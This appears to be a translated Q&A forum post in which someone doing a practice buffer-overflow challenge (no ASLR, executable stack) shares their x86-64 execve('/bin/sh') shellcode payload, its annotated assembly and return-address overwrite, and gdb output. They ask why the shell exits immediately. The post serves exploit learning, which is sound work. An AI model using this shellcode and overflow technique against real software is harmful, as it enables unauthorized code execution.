【发布时间】:2019-04-05 01:23:11
【问题描述】:
我正在尝试解决一个非常简单的利用挑战作为练习。 就是通过缓冲区溢出注入shellcode,没有ASLR,栈是可执行的。
我发送的有效载荷如下:
'\x00xx//bin/sh\x00H\xc7\xc0;\x00\x00\x00H\xbf\xb4\xdf\xff\xff\xff\x7f\x00
\x00H\xc7\xc6\x00\x00\x00\x00H\xc7\xc2\x00\x00
\x00\x00\x0f\x05aabbbbbbbbbbbbbbbbbbbbbbbbb\xbc\xdf\xff\xff\xff\x7f\x00\x00'
在哪里
'\x00xx #Three bytes used to prevent the program to overwrite my payload
//bin/sh\x00 #Null terminated /bin/sh
H\xc7\xc0;\x00\x00\x00H\xbf\xb4\xdf\xff\xff\xff\x7f\x00\x00H\xc7\xc6
\x00
\x00\x00\x00H\xc7\xc2\x00\x00\x00\x00\x0f\x05 #This is equivalent to
mov rax, 0x3b; #Syscall number for execve()
mov rdi, 0x7fffffffdfb4; #First parameter, address of /bin/sh in stack
mov rsi, 0x0; #Second parameter 0
mov rdx, 0; #Third parameter 0
syscall;
aabbbbbbbbbbbbbbbbbbbbbbbbb #Fill the remaining bytes of the buffer
\xbc\xdf\xff\xff\xff\x7f\x00\x00' #Overwrite the return address
with the address of the first shellcode instruction.
现在这是我在 gdb 中执行程序时的输出
$ gdb exploit_me
gdb> r < payload
Starting program: /root/exploit_me < payload
[...]
process 7640 is executing new program: /bin/dash
[Inferior 1 (process 7640) exited normally]
这表明 /bin/dash 被正确调用,但随后它立即终止。 为什么会这样?
【问题讨论】:
-
这能回答你的问题吗? gdb exiting instead of spawning a shell